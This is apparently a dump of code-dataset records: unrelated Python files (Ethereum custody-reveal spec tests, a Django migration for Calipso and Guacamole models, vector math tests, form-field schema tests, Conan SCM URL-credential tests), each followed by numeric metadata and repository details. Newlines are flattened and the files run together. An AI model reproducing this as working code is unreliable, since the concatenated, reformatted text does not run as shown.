custody_key_reveal = get_valid_custody_key_reveal(spec, state) yield from run_custody_key_reveal_processing(spec, state, custody_key_reveal) @with_all_phases_except(['phase0']) @spec_state_test @always_bls def test_reveal_too_early(spec, state): custody_key_reveal = get_valid_custody_key_reveal(spec, state) yield from run_custody_key_reveal_processing(spec, state, custody_key_reveal, False) @with_all_phases_except(['phase0']) @spec_state_test @always_bls def test_wrong_period(spec, state): custody_key_reveal = get_valid_custody_key_reveal(spec, state, period=5) yield from run_custody_key_reveal_processing(spec, state, custody_key_reveal, False) @with_all_phases_except(['phase0']) @spec_state_test @always_bls def test_late_reveal(spec, state): state.slot += spec.EPOCHS_PER_CUSTODY_PERIOD * spec.SLOTS_PER_EPOCH * 3 + 150 custody_key_reveal = get_valid_custody_key_reveal(spec, state) yield from run_custody_key_reveal_processing(spec, state, custody_key_reveal) @with_all_phases_except(['phase0']) @spec_state_test @always_bls def test_double_reveal(spec, state): state.slot += spec.EPOCHS_PER_CUSTODY_PERIOD * spec.SLOTS_PER_EPOCH * 2 custody_key_reveal = get_valid_custody_key_reveal(spec, state) _, _, _ = run_custody_key_reveal_processing(spec, state, custody_key_reveal) yield from run_custody_key_reveal_processing(spec, state, custody_key_reveal, False) @with_all_phases_except(['phase0']) @spec_state_test @always_bls def test_max_decrement(spec, state): state.slot += spec.EPOCHS_PER_CUSTODY_PERIOD * spec.SLOTS_PER_EPOCH * 3 + 150 custody_key_reveal = get_valid_custody_key_reveal(spec, state) _, _, _ = run_custody_key_reveal_processing(spec, state, custody_key_reveal) custody_key_reveal2 = get_valid_custody_key_reveal(spec, state) yield from run_custody_key_reveal_processing(spec, state, custody_key_reveal2)

34.352941

116

0.769569

568

4,088

5.022887

0.128521

0.150719

0.229933

0.088328

0.827199

0.81353

0.767613

0.66176

0

0.006926

0.152397

4,088

118

117

34.644068

0.81645

0.047456

0

0.475

0

0.016831

0

0.075

1

0.0875

false

0

0.025

0

0.125

0

null

0

1

0

1

0

null

0

7

fb9783619738b92d5df58ff54d4fd02a226e04e1

23,051

py

Python

apprest/migrations/0001_initial.py

dsanchez-cells/calipsoplus-backend

7eaa6904ec59d88052644b31041b92ee20e54354

[ "MIT" ]

4

2018-12-04T15:08:27.000Z

2019-04-11T09:49:41.000Z

apprest/migrations/0001_initial.py

dsanchez-cells/calipsoplus-backend

7eaa6904ec59d88052644b31041b92ee20e54354

[ "MIT" ]

63

2018-11-22T13:07:56.000Z

2021-06-10T20:55:58.000Z

apprest/migrations/0001_initial.py

dsanchez-cells/calipsoplus-backend

7eaa6904ec59d88052644b31041b92ee20e54354

[ "MIT" ]

10

2018-11-23T08:17:28.000Z

2022-01-15T23:41:59.000Z

# Generated by Django 2.0.2 on 2018-11-06 12:40 from django.conf import settings from django.db import migrations, models import django.db.models.deletion import django.utils.timezone import uuid class Migration(migrations.Migration): initial = True dependencies = [ migrations.swappable_dependency(settings.AUTH_USER_MODEL), ] operations = [ migrations.CreateModel( name='GuacamoleConnection', fields=[ ('connection_id', models.AutoField(primary_key=True, serialize=False)), ('connection_name', models.CharField(max_length=128)), ('protocol', models.CharField(max_length=32)), ('proxy_port', models.IntegerField(blank=True, null=True)), ('proxy_hostname', models.CharField(blank=True, max_length=512, null=True)), ('proxy_encryption_method', models.CharField(blank=True, max_length=4, null=True)), ('max_connections', models.IntegerField(blank=True, null=True)), ('max_connections_per_user', models.IntegerField(blank=True, null=True)), ('connection_weight', models.IntegerField(blank=True, null=True)), ('failover_only', models.IntegerField()), ], options={ 'managed': False, 'db_table': 'guacamole_connection', }, ), migrations.CreateModel( name='GuacamoleConnectionGroup', fields=[ ('connection_group_id', models.AutoField(primary_key=True, serialize=False)), ('connection_group_name', models.CharField(max_length=128)), ('type', models.CharField(max_length=14)), ('max_connections', models.IntegerField(blank=True, null=True)), ('max_connections_per_user', models.IntegerField(blank=True, null=True)), ('enable_session_affinity', models.IntegerField()), ], options={ 'managed': False, 'db_table': 'guacamole_connection_group', }, ), migrations.CreateModel( name='GuacamoleConnectionParameter', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('parameter_name', models.CharField(max_length=128)), ('parameter_value', models.CharField(max_length=4096)), ], options={ 'managed': False, 'db_table': 'guacamole_connection_parameter', }, ), migrations.CreateModel( name='GuacamoleConnectionPermission', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('permission', models.CharField(max_length=10)), ], options={ 'managed': False, 'db_table': 'guacamole_connection_permission', }, ), migrations.CreateModel( name='GuacamoleUser', fields=[ ('user_id', models.AutoField(primary_key=True, serialize=False)), ('username', models.CharField(max_length=128, unique=True)), ('password_hash', models.BinaryField()), ('password_salt', models.BinaryField(blank=True, null=True)), ('password_date', models.DateTimeField()), ('disabled', models.IntegerField()), ('expired', models.IntegerField()), ('access_window_start', models.TimeField(blank=True, null=True)), ('access_window_end', models.TimeField(blank=True, null=True)), ('valid_from', models.DateField(blank=True, null=True)), ('valid_until', models.DateField(blank=True, null=True)), ('timezone', models.CharField(blank=True, max_length=64, null=True)), ('full_name', models.CharField(blank=True, max_length=256, null=True)), ('email_address', models.CharField(blank=True, max_length=256, null=True)), ('organization', models.CharField(blank=True, max_length=256, null=True)), ('organizational_role', models.CharField(blank=True, max_length=256, null=True)), ], options={ 'managed': False, 'db_table': 'guacamole_user', }, ), migrations.CreateModel( name='CalipsoAvailableImages', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('public_name', models.CharField(max_length=255, unique=True)), ('image', models.CharField(max_length=255)), ('docker_daemon', models.CharField(default='', max_length=255)), ('host_domain', models.CharField(default='', max_length=255)), ('port_hook', models.CharField(max_length=255)), ('logs_er', models.CharField(max_length=255)), ('protocol', models.CharField(max_length=25)), ('cpu', models.IntegerField()), ('memory', models.CharField(max_length=100)), ('hdd', models.CharField(max_length=100)), ], options={ 'db_table': 'calipso_images', }, ), migrations.CreateModel( name='CalipsoContainer', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('calipso_user', models.CharField(max_length=255)), ('calipso_experiment', models.CharField(max_length=255)), ('container_id', models.CharField(max_length=255)), ('container_name', models.CharField(max_length=255)), ('container_status', models.CharField(max_length=25)), ('container_info', models.TextField()), ('container_logs', models.TextField()), ('guacamole_username', models.CharField(blank=True, max_length=255)), ('guacamole_password', models.CharField(blank=True, max_length=255)), ('vnc_password', models.CharField(blank=True, max_length=255)), ('creation_date', models.DateTimeField(blank=True, default=django.utils.timezone.now)), ('host_port', models.CharField(blank=True, max_length=255)), ('public_name', models.CharField(default='default', max_length=255)), ], options={ 'db_table': 'calipso_containers', }, ), migrations.CreateModel( name='CalipsoExperiment', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('subject', models.CharField(max_length=255)), ('body', models.TextField()), ('serial_number', models.CharField(blank=True, max_length=50)), ('beam_line', models.CharField(blank=True, max_length=200)), ], options={ 'db_table': 'calipso_experiments', }, ), migrations.CreateModel( name='CalipsoFacility', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('name', models.CharField(max_length=255)), ('description', models.TextField()), ('url', models.CharField(max_length=2083)), ], options={ 'db_table': 'calipso_facilities', }, ), migrations.CreateModel( name='CalipsoSession', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('session_number', models.CharField(blank=True, max_length=50)), ('start_date', models.DateTimeField(blank=True, null=True)), ('end_date', models.DateTimeField(blank=True, null=True)), ('subject', models.CharField(max_length=255)), ('body', models.TextField()), ('data_set_path', models.CharField(max_length=255)), ('experiment', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='sessions', to='apprest.CalipsoExperiment')), ], options={ 'db_table': 'calipso_sessions', }, ), migrations.CreateModel( name='CalipsoUser', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('calipso_uid', models.UUIDField(default=uuid.uuid4, editable=False, unique=True)), ('bio', models.TextField(blank=True, max_length=500)), ('location', models.CharField(blank=True, max_length=30)), ('user', models.OneToOneField(on_delete=django.db.models.deletion.CASCADE, related_name='profile', to=settings.AUTH_USER_MODEL)), ], options={ 'db_table': 'calipso_users', }, ), migrations.CreateModel( name='CalipsoUserExperiment', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('favorite', models.BooleanField(default=False)), ('calipso_experiment', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='apprest.CalipsoExperiment')), ('calipso_user', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='apprest.CalipsoUser')), ], options={ 'db_table': 'calipso_user_experiment', }, ), migrations.CreateModel( name='CalipsoUserQuota', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('max_simultaneous', models.IntegerField(default=5)), ('cpu', models.IntegerField(default=5)), ('memory', models.CharField(default='30G', max_length=100)), ('hdd', models.CharField(default='80G', max_length=100)), ('calipso_user', models.OneToOneField(blank=True, on_delete=django.db.models.deletion.CASCADE, to='apprest.CalipsoUser')), ], options={ 'db_table': 'calipso_quotas', }, ), migrations.CreateModel( name='HistoricalCalipsoAvailableImages', fields=[ ('id', models.IntegerField(auto_created=True, blank=True, db_index=True, verbose_name='ID')), ('public_name', models.CharField(db_index=True, max_length=255)), ('image', models.CharField(max_length=255)), ('docker_daemon', models.CharField(default='', max_length=255)), ('host_domain', models.CharField(default='', max_length=255)), ('port_hook', models.CharField(max_length=255)), ('logs_er', models.CharField(max_length=255)), ('protocol', models.CharField(max_length=25)), ('cpu', models.IntegerField()), ('memory', models.CharField(max_length=100)), ('hdd', models.CharField(max_length=100)), ('history_id', models.AutoField(primary_key=True, serialize=False)), ('history_date', models.DateTimeField()), ('history_change_reason', models.CharField(max_length=100, null=True)), ('history_type', models.CharField(choices=[('+', 'Created'), ('~', 'Changed'), ('-', 'Deleted')], max_length=1)), ('history_user', models.ForeignKey(null=True, on_delete=django.db.models.deletion.SET_NULL, related_name='+', to=settings.AUTH_USER_MODEL)), ], options={ 'get_latest_by': 'history_date', 'ordering': ('-history_date', '-history_id'), 'verbose_name': 'historical calipso available images', }, ), migrations.CreateModel( name='HistoricalCalipsoContainer', fields=[ ('id', models.IntegerField(auto_created=True, blank=True, db_index=True, verbose_name='ID')), ('calipso_user', models.CharField(max_length=255)), ('calipso_experiment', models.CharField(max_length=255)), ('container_id', models.CharField(max_length=255)), ('container_name', models.CharField(max_length=255)), ('container_status', models.CharField(max_length=25)), ('container_info', models.TextField()), ('container_logs', models.TextField()), ('guacamole_username', models.CharField(blank=True, max_length=255)), ('guacamole_password', models.CharField(blank=True, max_length=255)), ('vnc_password', models.CharField(blank=True, max_length=255)), ('creation_date', models.DateTimeField(blank=True, default=django.utils.timezone.now)), ('host_port', models.CharField(blank=True, max_length=255)), ('public_name', models.CharField(default='default', max_length=255)), ('history_id', models.AutoField(primary_key=True, serialize=False)), ('history_date', models.DateTimeField()), ('history_change_reason', models.CharField(max_length=100, null=True)), ('history_type', models.CharField(choices=[('+', 'Created'), ('~', 'Changed'), ('-', 'Deleted')], max_length=1)), ('history_user', models.ForeignKey(null=True, on_delete=django.db.models.deletion.SET_NULL, related_name='+', to=settings.AUTH_USER_MODEL)), ], options={ 'get_latest_by': 'history_date', 'ordering': ('-history_date', '-history_id'), 'verbose_name': 'historical calipso container', }, ), migrations.CreateModel( name='HistoricalCalipsoExperiment', fields=[ ('id', models.IntegerField(auto_created=True, blank=True, db_index=True, verbose_name='ID')), ('subject', models.CharField(max_length=255)), ('body', models.TextField()), ('serial_number', models.CharField(blank=True, max_length=50)), ('beam_line', models.CharField(blank=True, max_length=200)), ('history_id', models.AutoField(primary_key=True, serialize=False)), ('history_date', models.DateTimeField()), ('history_change_reason', models.CharField(max_length=100, null=True)), ('history_type', models.CharField(choices=[('+', 'Created'), ('~', 'Changed'), ('-', 'Deleted')], max_length=1)), ('history_user', models.ForeignKey(null=True, on_delete=django.db.models.deletion.SET_NULL, related_name='+', to=settings.AUTH_USER_MODEL)), ], options={ 'get_latest_by': 'history_date', 'ordering': ('-history_date', '-history_id'), 'verbose_name': 'historical calipso experiment', }, ), migrations.CreateModel( name='HistoricalCalipsoFacility', fields=[ ('id', models.IntegerField(auto_created=True, blank=True, db_index=True, verbose_name='ID')), ('name', models.CharField(max_length=255)), ('description', models.TextField()), ('url', models.CharField(max_length=2083)), ('history_id', models.AutoField(primary_key=True, serialize=False)), ('history_date', models.DateTimeField()), ('history_change_reason', models.CharField(max_length=100, null=True)), ('history_type', models.CharField(choices=[('+', 'Created'), ('~', 'Changed'), ('-', 'Deleted')], max_length=1)), ('history_user', models.ForeignKey(null=True, on_delete=django.db.models.deletion.SET_NULL, related_name='+', to=settings.AUTH_USER_MODEL)), ], options={ 'get_latest_by': 'history_date', 'ordering': ('-history_date', '-history_id'), 'verbose_name': 'historical calipso facility', }, ), migrations.CreateModel( name='HistoricalCalipsoSession', fields=[ ('id', models.IntegerField(auto_created=True, blank=True, db_index=True, verbose_name='ID')), ('session_number', models.CharField(blank=True, max_length=50)), ('start_date', models.DateTimeField(blank=True, null=True)), ('end_date', models.DateTimeField(blank=True, null=True)), ('subject', models.CharField(max_length=255)), ('body', models.TextField()), ('data_set_path', models.CharField(max_length=255)), ('history_id', models.AutoField(primary_key=True, serialize=False)), ('history_date', models.DateTimeField()), ('history_change_reason', models.CharField(max_length=100, null=True)), ('history_type', models.CharField(choices=[('+', 'Created'), ('~', 'Changed'), ('-', 'Deleted')], max_length=1)), ('experiment', models.ForeignKey(blank=True, db_constraint=False, null=True, on_delete=django.db.models.deletion.DO_NOTHING, related_name='+', to='apprest.CalipsoExperiment')), ('history_user', models.ForeignKey(null=True, on_delete=django.db.models.deletion.SET_NULL, related_name='+', to=settings.AUTH_USER_MODEL)), ], options={ 'get_latest_by': 'history_date', 'ordering': ('-history_date', '-history_id'), 'verbose_name': 'historical calipso session', }, ), migrations.CreateModel( name='HistoricalCalipsoUser', fields=[ ('id', models.IntegerField(auto_created=True, blank=True, db_index=True, verbose_name='ID')), ('calipso_uid', models.UUIDField(db_index=True, default=uuid.uuid4, editable=False)), ('bio', models.TextField(blank=True, max_length=500)), ('location', models.CharField(blank=True, max_length=30)), ('history_id', models.AutoField(primary_key=True, serialize=False)), ('history_date', models.DateTimeField()), ('history_change_reason', models.CharField(max_length=100, null=True)), ('history_type', models.CharField(choices=[('+', 'Created'), ('~', 'Changed'), ('-', 'Deleted')], max_length=1)), ('history_user', models.ForeignKey(null=True, on_delete=django.db.models.deletion.SET_NULL, related_name='+', to=settings.AUTH_USER_MODEL)), ('user', models.ForeignKey(blank=True, db_constraint=False, null=True, on_delete=django.db.models.deletion.DO_NOTHING, related_name='+', to=settings.AUTH_USER_MODEL)), ], options={ 'get_latest_by': 'history_date', 'ordering': ('-history_date', '-history_id'), 'verbose_name': 'historical calipso user', }, ), migrations.CreateModel( name='HistoricalCalipsoUserExperiment', fields=[ ('id', models.IntegerField(auto_created=True, blank=True, db_index=True, verbose_name='ID')), ('favorite', models.BooleanField(default=False)), ('history_id', models.AutoField(primary_key=True, serialize=False)), ('history_date', models.DateTimeField()), ('history_change_reason', models.CharField(max_length=100, null=True)), ('history_type', models.CharField(choices=[('+', 'Created'), ('~', 'Changed'), ('-', 'Deleted')], max_length=1)), ('calipso_experiment', models.ForeignKey(blank=True, db_constraint=False, null=True, on_delete=django.db.models.deletion.DO_NOTHING, related_name='+', to='apprest.CalipsoExperiment')), ('calipso_user', models.ForeignKey(blank=True, db_constraint=False, null=True, on_delete=django.db.models.deletion.DO_NOTHING, related_name='+', to='apprest.CalipsoUser')), ('history_user', models.ForeignKey(null=True, on_delete=django.db.models.deletion.SET_NULL, related_name='+', to=settings.AUTH_USER_MODEL)), ], options={ 'get_latest_by': 'history_date', 'ordering': ('-history_date', '-history_id'), 'verbose_name': 'historical calipso user experiment', }, ), migrations.CreateModel( name='HistoricalCalipsoUserQuota', fields=[ ('id', models.IntegerField(auto_created=True, blank=True, db_index=True, verbose_name='ID')), ('max_simultaneous', models.IntegerField(default=5)), ('cpu', models.IntegerField(default=5)), ('memory', models.CharField(default='30G', max_length=100)), ('hdd', models.CharField(default='80G', max_length=100)), ('history_id', models.AutoField(primary_key=True, serialize=False)), ('history_date', models.DateTimeField()), ('history_change_reason', models.CharField(max_length=100, null=True)), ('history_type', models.CharField(choices=[('+', 'Created'), ('~', 'Changed'), ('-', 'Deleted')], max_length=1)), ('calipso_user', models.ForeignKey(blank=True, db_constraint=False, null=True, on_delete=django.db.models.deletion.DO_NOTHING, related_name='+', to='apprest.CalipsoUser')), ('history_user', models.ForeignKey(null=True, on_delete=django.db.models.deletion.SET_NULL, related_name='+', to=settings.AUTH_USER_MODEL)), ], options={ 'get_latest_by': 'history_date', 'ordering': ('-history_date', '-history_id'), 'verbose_name': 'historical calipso user quota', }, ), migrations.AddField( model_name='calipsoexperiment', name='calipso_users', field=models.ManyToManyField(through='apprest.CalipsoUserExperiment', to='apprest.CalipsoUser'), ), migrations.AlterUniqueTogether( name='calipsouserexperiment', unique_together={('calipso_user', 'calipso_experiment')}, ), ]

56.359413

200

0.573988

2,175

23,051

5.870805

0.101609

0.065549

0.069074

0.092098

0.809852

0.799906

0.757538

0.741248

0.731772

0.694886

0

0.016738

0.276864

23,051

408

201

56.497549

0.749295

0.001952

0

0.688279

1

0

0.184055

0.038211

0

1

0

false

0.017456

0.012469

0

0.022444

0

null

0

1

0

1

0

null

0

7

fb9ef2c2d84a411e1f0543f7b70267b66af684b1

75

py

Python

settings/__init__.py

aq1/vkPostman

db6b8d387d484ff53d12dcaf77ba3dcaa6da3822

[ "MIT" ]

1

2020-09-14T04:47:31.000Z

settings/__init__.py

aq1/vkPostman

db6b8d387d484ff53d12dcaf77ba3dcaa6da3822

[ "MIT" ]

null

settings/__init__.py

aq1/vkPostman

db6b8d387d484ff53d12dcaf77ba3dcaa6da3822

[ "MIT" ]

null

from settings.settings_base import * from settings.settings_local import *

25

37

0.84

10

75

6.1

0.5

0.393443

0.655738

0

0.106667

75

2

38

37.5

0.910448

0

1

0

true

0

1

0

1

0

1

0

null

1

0

1

0

null

0

1

0

1

0

1

0

7

fba9c833ed676ffa30ded1ec700c726b454cd6a8

1,247

py

Python

test/rasmus/test_vector.py

Open-Technology/Computational-Biology

f7628900f2d1d9ade60d7ad94f6b3d1022c92cb7

[ "MIT" ]

30

2015-05-08T19:21:15.000Z

2022-03-11T21:30:33.000Z

test/rasmus/test_vector.py

Open-Technology/Computational-Biology

f7628900f2d1d9ade60d7ad94f6b3d1022c92cb7

[ "MIT" ]

null

test/rasmus/test_vector.py

Open-Technology/Computational-Biology

f7628900f2d1d9ade60d7ad94f6b3d1022c92cb7

[ "MIT" ]

8

2015-05-08T02:02:33.000Z

2021-06-10T17:51:03.000Z

import unittest from rasmus import vector as v class Test (unittest.TestCase): def test_list(self): a = [1.0, 2.0, 3.0] b = [4.0, 5.0, 6.0] self.assertEqual(v.vadd(a, b), [5.0, 7.0, 9.0]) self.assertEqual(v.vsub(a, b), [-3.0, -3.0, -3.0]) self.assertEqual(v.vmul(a, b), [4.0, 10.0, 18.0]) self.assertEqual(v.vdiv(a, b), [0.25, 0.4, 0.5]) self.assertAlmostEqual(v.vmag(a), 3.74165738677) self.assertAlmostEqual(v.vdist(a, b), 5.19615242271) def _test_dict(self): a = {'x': 1.0, 'y': 2.0, 'z': 3.0} b = {'x': 4.0, 'y': 5.0, 'z': 6.0} self.assertEqual(v.vadd(a, b), dict(zip('xyz', [5.0, 7.0, 9.0]))) self.assertEqual(v.vsub(a, b), dict(zip('xyz', [-3.0, -3.0, -3.0]))) self.assertEqual(v.vmul(a, b), dict(zip('xyz', [4.0, 10.0, 18.0]))) self.assertEqual(v.vdiv(a, b), dict(zip('xyz', [0.25, 0.4, 0.5]))) self.assertAlmostEqual(v.vmag(a), 3.74165738677) self.assertAlmostEqual(v.vdist(a, b), 5.19615242271)

33.702703

62

0.44988

192

1,247

2.90625

0.223958

0.035842

0.229391

0.243728

0.777778

0.706093

0.620072

0

0.155748

0.351243

1,247

36

63

34.638889

0.533993

0

0.413793

0

0.014435

0

0.413793

1

0.068966

false

0

0.068966

0

0.172414

0

null

0

1

0

1

0

1

0

null

0

1

0

7

8399ef8c76c8e673126b50411dbfe092a2663e03

2,548

py

Python

livestyled/models/tests/test_form_field.py

andrelopez/python-sdk

3c83d4698ecf6b5b59003d20cb26644e0dd77f61

[ "MIT" ]

null

livestyled/models/tests/test_form_field.py

andrelopez/python-sdk

3c83d4698ecf6b5b59003d20cb26644e0dd77f61

[ "MIT" ]

1

2020-05-21T10:01:07.000Z

livestyled/models/tests/test_form_field.py

andrelopez/python-sdk

3c83d4698ecf6b5b59003d20cb26644e0dd77f61

[ "MIT" ]

3

2021-02-01T10:13:36.000Z

2022-02-11T17:47:30.000Z

from livestyled.models.form_field import FormField from livestyled.schemas.form_field import FormFieldSchema def test_create_form_field_from_deserialized(): deserialized_data = { 'id': 47, 'type': 'radio', 'key': 'radio', 'validation_regex': 'Test', 'required': True, 'select_options': [ { 'id': 19, 'title': 'YES', 'value': 'YES', 'icon_url': 'https://cdn3.iconfinder.com/data/icons/flat-actions-icons-9/792/Tick_Mark_Dark-512.png' }, { 'id': 20, 'title': 'NO', 'value': 'NO', 'icon_url': 'https://lh3.googleusercontent.com/proxy/fN1ayBfVrzPB8xZiqM5k38g6FkdY4EuSR3QuT2EBqwjyH7L8RqEXm4hc34k8E6FAdD5mbmHje0n_hIl6l5saUXH26Ak5b-gWo2iKBPbYTQ9HHlti' } ], 'translations': [ { 'id': 12, 'language': 'en', 'label': 'RadioButton Label', 'placeholder': 'RadioButton Placeholder 2', 'validation_error': 'RadioButtonError2' } ], 'sort_id': 2, 'auto_fill': None } form_field = FormField(**deserialized_data) assert form_field def test_serialize_form_field(): deserialized_data = { 'id': 47, 'type': 'radio', 'key': 'radio', 'validation_regex': 'Test', 'required': True, 'select_options': [ { 'id': 19, 'title': 'YES', 'value': 'YES', 'icon_url': 'https://cdn3.iconfinder.com/data/icons/flat-actions-icons-9/792/Tick_Mark_Dark-512.png' }, { 'id': 20, 'title': 'NO', 'value': 'NO', 'icon_url': 'https://lh3.googleusercontent.com/proxy/fN1ayBfVrzPB8xZiqM5k38g6FkdY4EuSR3QuT2EBqwjyH7L8RqEXm4hc34k8E6FAdD5mbmHje0n_hIl6l5saUXH26Ak5b-gWo2iKBPbYTQ9HHlti' } ], 'translations': [ { 'id': 12, 'language': 'en', 'label': 'RadioButton Label', 'placeholder': 'RadioButton Placeholder 2', 'validation_error': 'RadioButtonError2' } ], 'sort_id': 2, 'auto_fill': None } form_field = FormField(**deserialized_data) serialized_form_field = FormFieldSchema().dump(form_field) assert serialized_form_field

32.666667

182

0.513736

202

2,548

6.272277

0.351485

0.071034

0.037885

0.031571

0.80663

0

0.055249

0.360675

2,548

77

183

33.090909

0.722529

0

0.712329

0

0.027397

0.376766

0

0.027397

1

0.027397

false

0

0.027397

0

0.054795

0

null

0

1

0

1

0

null

0

7

83b67496a84ccbe4055b8332e90d5ffc2a326b9a

17,120

py

Python

conans/test/unittests/client/tools/scm/test_scm_base.py

Wonders11/conan

28ec09f6cbf1d7e27ec27393fd7bbc74891e74a8

[ "MIT" ]

6,205

2015-12-01T13:40:05.000Z

2022-03-31T07:30:25.000Z

conans/test/unittests/client/tools/scm/test_scm_base.py

Wonders11/conan

28ec09f6cbf1d7e27ec27393fd7bbc74891e74a8

[ "MIT" ]

8,747

2015-12-01T16:28:48.000Z

2022-03-31T23:34:53.000Z

conans/test/unittests/client/tools/scm/test_scm_base.py

Mattlk13/conan

005fc53485557b0a570bb71670f2ca9c66082165

[ "MIT" ]

961

2015-12-01T16:56:43.000Z

2022-03-31T13:50:52.000Z

# coding=utf-8 import unittest from conans.client.tools.scm import SCMBase from conans.errors import ConanException class RemoveCredentialsTest(unittest.TestCase): def test_http(self): expected_url = 'https://myrepo.com/path/to/repo.git' test_urls = ['https://myrepo.com/path/to/repo.git', 'https://username:password@myrepo.com/path/to/repo.git', 'https://username@myrepo.com/path/to/repo.git', 'https://gitlab-ci-token:1324@myrepo.com/path/to/repo.git', ] for it in test_urls: self.assertEqual(expected_url, SCMBase._remove_credentials_url(it)) def test_http_with_port_number(self): self.assertEqual('https://myrepo.com:8000/path/to/repo.git', SCMBase._remove_credentials_url( 'https://username@myrepo.com:8000/path/to/repo.git')) def test_ssh(self): # Here, for ssh, we don't want to remove the user ('git' in this example) # URL-like syntax self.assertEqual('ssh://git@github.com:2222/conan-io/conan.git', SCMBase._remove_credentials_url( 'ssh://git@github.com:2222/conan-io/conan.git')) # URL-like syntax with a password self.assertEqual('ssh://git@github.com:2222/conan-io/conan.git', SCMBase._remove_credentials_url( 'ssh://git:password@github.com:2222/conan-io/conan.git')) self.assertEqual('ssh://github.com:2222/conan-io/conan.git', SCMBase._remove_credentials_url( 'ssh://github.com:2222/conan-io/conan.git')) # scp-like syntax self.assertEqual('git@github.com:conan-io/conan.git', SCMBase._remove_credentials_url( 'git@github.com:conan-io/conan.git')) def test_local_unix(self): self.assertEqual('file:///srv/git/project.git', SCMBase._remove_credentials_url('file:///srv/git/project.git')) self.assertEqual('file:///srv/git/PROJECT.git', SCMBase._remove_credentials_url('file:///srv/git/PROJECT.git')) def test_local_windows(self): self.assertEqual('file:///c:/srv/git/PROJECT', SCMBase._remove_credentials_url('file:///c:/srv/git/PROJECT')) self.assertEqual('file:///C:/srv/git/PROJECT', SCMBase._remove_credentials_url('file:///C:/srv/git/PROJECT')) def test_svn_ssh(self): self.assertEqual('svn+ssh://10.106.191.164/home/svn/shproject', SCMBase._remove_credentials_url( 'svn+ssh://username:password@10.106.191.164/home/svn/shproject')) class OutputMock(object): def __init__(self): self.out = list() def warn(self, text): self.out.append("WARN: " + text) class GetUrlWithCredentialsTest(unittest.TestCase): def test_url(self): scm = SCMBase() self.assertEqual('http://github.com/conan-io/conan.git', scm.get_url_with_credentials("http://github.com/conan-io/conan.git")) def test_url_username(self): scm = SCMBase() self.assertEqual('http://user@github.com/conan-io/conan.git', scm.get_url_with_credentials("http://user@github.com/conan-io/conan.git")) def test_url_password(self): scm = SCMBase() self.assertEqual('http://user:pass@github.com/conan-io/conan.git', scm.get_url_with_credentials( "http://user:pass@github.com/conan-io/conan.git")) def test_url_with_user_param(self): scm = SCMBase(username="user") self.assertEqual('https://user@github.com/conan-io/conan.git', scm.get_url_with_credentials("https://github.com/conan-io/conan.git")) def test_url_with_password_param(self): scm = SCMBase(password="pass") self.assertEqual('https://github.com/conan-io/conan.git', scm.get_url_with_credentials("https://github.com/conan-io/conan.git")) def test_url_with_user_password_param(self): scm = SCMBase(username="user", password="pass") self.assertEqual('https://user:pass@github.com/conan-io/conan.git', scm.get_url_with_credentials("https://github.com/conan-io/conan.git")) def test_url_with_user_password_characters_param(self): scm = SCMBase(username="el niño", password="la contra%seña") self.assertEqual('https://el+ni%C3%B1o:la+contra%25se%C3%B1a@github.com/conan-io/conan.git', scm.get_url_with_credentials("https://github.com/conan-io/conan.git")) def test_url_user_with_user_param(self): output = OutputMock() scm = SCMBase(username="user", output=output) self.assertEqual('https://dani@github.com/conan-io/conan.git', scm.get_url_with_credentials("https://dani@github.com/conan-io/conan.git")) self.assertEqual(1, len(output.out)) self.assertIn("WARN: SCM username got from URL, ignoring 'username' parameter", output.out) def test_url_user_with_password_param(self): scm = SCMBase(password="pass") self.assertEqual('https://dani:pass@github.com/conan-io/conan.git', scm.get_url_with_credentials("https://dani@github.com/conan-io/conan.git")) def test_url_user_with_user_password_param(self): output = OutputMock() scm = SCMBase(username="user", password="pass", output=output) self.assertEqual('https://dani:pass@github.com/conan-io/conan.git', scm.get_url_with_credentials("https://dani@github.com/conan-io/conan.git")) self.assertEqual(1, len(output.out)) self.assertIn("WARN: SCM username got from URL, ignoring 'username' parameter", output.out) def test_url_user_pass_with_user_param(self): output = OutputMock() scm = SCMBase(username="user", output=output) self.assertEqual('http://dani:pass@github.com/conan-io/conan.git', scm.get_url_with_credentials( "http://dani:pass@github.com/conan-io/conan.git")) self.assertEqual(1, len(output.out)) self.assertIn("WARN: SCM username got from URL, ignoring 'username' parameter", output.out) def test_url_user_pass_with_password_param(self): output = OutputMock() scm = SCMBase(password="pass", output=output) self.assertEqual('http://dani:secret@github.com/conan-io/conan.git', scm.get_url_with_credentials( "http://dani:secret@github.com/conan-io/conan.git")) self.assertEqual(1, len(output.out)) self.assertIn("WARN: SCM password got from URL, ignoring 'password' parameter", output.out) def test_url_user_pass_with_user_password_param(self): output = OutputMock() scm = SCMBase(username="user", password="pass", output=output) self.assertEqual('http://dani:secret@github.com/conan-io/conan.git', scm.get_url_with_credentials( "http://dani:secret@github.com/conan-io/conan.git")) self.assertEqual(2, len(output.out)) self.assertIn("WARN: SCM username got from URL, ignoring 'username' parameter", output.out) self.assertIn("WARN: SCM password got from URL, ignoring 'password' parameter", output.out) def test_ssh(self): scm = SCMBase() self.assertEqual('ssh://github.com/conan-io/conan.git', scm.get_url_with_credentials("ssh://github.com/conan-io/conan.git")) def test_ssh_username_password(self): output = OutputMock() scm = SCMBase(username="dani", password="pass", output=output) self.assertEqual('ssh://dani@github.com/conan-io/conan.git', scm.get_url_with_credentials("ssh://github.com/conan-io/conan.git")) self.assertEqual(1, len(output.out)) self.assertIn("WARN: SCM password cannot be set for ssh url, ignoring parameter", output.out) def test_ssh_username(self): scm = SCMBase(username="dani") self.assertEqual('ssh://dani@github.com/conan-io/conan.git', 